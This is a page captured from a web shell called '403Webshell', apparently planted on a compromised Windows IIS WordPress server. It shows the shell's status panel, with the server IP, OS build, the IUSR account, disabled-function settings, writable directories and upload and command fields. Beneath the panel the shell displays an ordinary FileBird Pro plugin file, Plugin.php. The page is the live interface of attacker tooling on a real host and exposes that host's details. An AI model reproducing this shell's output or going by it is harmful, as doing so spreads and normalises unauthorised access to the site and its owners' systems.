403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/KnowledgeBase/wp-content/plugins/filebird-pro/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/KnowledgeBase/wp-content/plugins/filebird-pro/includes/Plugin.php
<?php
namespace FileBird;

defined( 'ABSPATH' ) || exit;

use FileBird\Classes\Review;
use FileBird\Classes\Schedule as FilebirdSchedule;
use FileBird\Install;
/**
 * Plugin activate/deactivate logic
 */
class Plugin {
	public function __construct() {
        self::prepareRun();
	}

	public static function prepareRun() {
		$current_version = get_option( 'fbv_version' );
		if ( version_compare( NJFB_VERSION, $current_version, '>' ) ) {
			self::activate();
			update_option( 'fbv_version', NJFB_VERSION );
			Review::update_time_display();
		}
	}

	/** Plugin activated hook */
	public static function activate() {
		$first_time_active = get_option( 'fbv_first_time_active' );
		if ( $first_time_active === false ) {
			update_option( 'fbv_is_new_user', 1 );
			update_option( 'fbv_first_time_active', 1 );
		}
		Install::create_tables();
		FilebirdSchedule::registerSchedule();
	}

	/** Plugin deactivate hook */
	public static function deactivate() {
		FilebirdSchedule::clearSchedule();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit